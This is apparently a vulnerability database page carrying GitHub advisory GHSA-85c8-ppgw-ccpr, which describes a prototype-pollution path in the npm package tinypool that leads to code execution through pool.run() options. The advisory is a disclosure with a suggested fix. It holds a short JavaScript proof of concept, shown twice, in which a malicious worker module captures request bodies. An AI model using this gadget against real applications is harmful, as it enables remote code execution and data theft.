GHSA-85C8-PPGW-CCPR

Vulnerability from github – Published: 2026-10-05 22:49 – Updated: 2026-10-05 22:49
VLAI
Summary
Tinypool: Prototype Pollution Gadget to RCE in run() options
Details

tinypool is a fork of piscina and inherited the same prototype-pollution surface. When pool.run(task, options) is called, the filename option is read from the provided options object. If that object does not have an own filename property, the lookup falls through to Object.prototype.

An attacker who can pollute Object.prototype.filename (for example, via a vulnerable lodash.merge, qs.parse, or similar elsewhere in the application) can make tinypool load and execute an attacker-controlled worker module.

This is the tinypool counterpart to the piscina root discovery GHSA-x9g3-xrwr-cwfg.

pool.run(task) with no second argument is not affected, because kDefaultOptions.filename is null and the options object is not user-controlled. The exploit only triggers when the caller passes their own options object to pool.run().

Impact

Arbitrary JavaScript execution in the worker pool. If the application passes attacker-controlled data as the run() task and also supplies a run() options object, the attacker can redirect execution to a malicious worker that exfiltrates or modifies that data, achieving remote code execution and/or data exfiltration.

Proof of Concept

// legitimate-worker.mjs
export default async (task) => ({ by: 'legitimate-worker', processed: task })

// malicious-worker.mjs
export default async (task) => ({ by: 'attacker', stolenRequestBody: task })

// main.js
import express from "express";
import Tinypool from "tinypool";
import { fileURLToPath } from "node:url";
import path from "node:path";

const __dirname = path.dirname(fileURLToPath(import.meta.url));

// Simulate upstream prototype pollution (lodash merge, qs parse, etc.)
Object.prototype.filename = path.join(__dirname, "malicious-worker.mjs");

const pool = new Tinypool({
  filename: path.join(__dirname, "legitimate-worker.mjs"),
});

express()
  .use(express.json())
  .post("/", async (req, res) => {
    const ac = new AbortController();
    const result = await pool.run(req.body, { signal: ac.signal });
    res.json(result);
  })
  .listen(31337);

Suggested fix

Read all user-supplied options from own properties only (Object.hasOwn or Object.prototype.hasOwnProperty.call) and build the internal ThreadPool.options object with a null prototype.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "tinypool"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.1.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-104849"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-05T22:49:52Z",
    "nvd_published_at": "2026-10-02T17:17:03Z",
    "severity": "CRITICAL"
  },
  "details": "`tinypool` is a fork of `piscina` and inherited the same prototype-pollution surface. When `pool.run(task, options)` is called, the `filename` option is read from the provided `options` object. If that object does not have an own `filename` property, the lookup falls through to `Object.prototype`.\n\nAn attacker who can pollute `Object.prototype.filename` (for example, via a vulnerable `lodash.merge`, `qs.parse`, or similar elsewhere in the application) can make tinypool load and execute an attacker-controlled worker module.\n\nThis is the tinypool counterpart to the piscina root discovery [GHSA-x9g3-xrwr-cwfg](https://github.com/piscinajs/piscina/security/advisories/GHSA-x9g3-xrwr-cwfg).\n\n`pool.run(task)` with no second argument is not affected, because `kDefaultOptions.filename` is `null` and the options object is not user-controlled. The exploit only triggers when the caller passes their own options object to `pool.run()`.\n\n## Impact\n\nArbitrary JavaScript execution in the worker pool. If the application passes attacker-controlled data as the `run()` task and also supplies a `run()` options object, the attacker can redirect execution to a malicious worker that exfiltrates or modifies that data, achieving remote code execution and/or data exfiltration.\n\n## Proof of Concept\n\n```js\n// legitimate-worker.mjs\nexport default async (task) =\u003e ({ by: \u0027legitimate-worker\u0027, processed: task })\n\n// malicious-worker.mjs\nexport default async (task) =\u003e ({ by: \u0027attacker\u0027, stolenRequestBody: task })\n\n// main.js\nimport express from \"express\";\nimport Tinypool from \"tinypool\";\nimport { fileURLToPath } from \"node:url\";\nimport path from \"node:path\";\n\nconst __dirname = path.dirname(fileURLToPath(import.meta.url));\n\n// Simulate upstream prototype pollution (lodash merge, qs parse, etc.)\nObject.prototype.filename = path.join(__dirname, \"malicious-worker.mjs\");\n\nconst pool = new Tinypool({\n  filename: path.join(__dirname, \"legitimate-worker.mjs\"),\n});\n\nexpress()\n  .use(express.json())\n  .post(\"/\", async (req, res) =\u003e {\n    const ac = new AbortController();\n    const result = await pool.run(req.body, { signal: ac.signal });\n    res.json(result);\n  })\n  .listen(31337);\n```\n\n## Suggested fix\n\nRead all user-supplied options from own properties only (`Object.hasOwn` or `Object.prototype.hasOwnProperty.call`) and build the internal `ThreadPool.options` object with a null prototype.",
  "id": "GHSA-85c8-ppgw-ccpr",
  "modified": "2026-10-05T22:49:52Z",
  "published": "2026-10-05T22:49:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/tinylibs/tinypool/security/advisories/GHSA-85c8-ppgw-ccpr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-104849"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tinylibs/tinypool/pull/135"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tinylibs/tinypool/commit/f41411a3e23324c674f35a19a3240f7a7c40ffbf"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/tinylibs/tinypool"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tinylibs/tinypool/releases/tag/v2.1.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Tinypool: Prototype Pollution Gadget to RCE in run() options"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…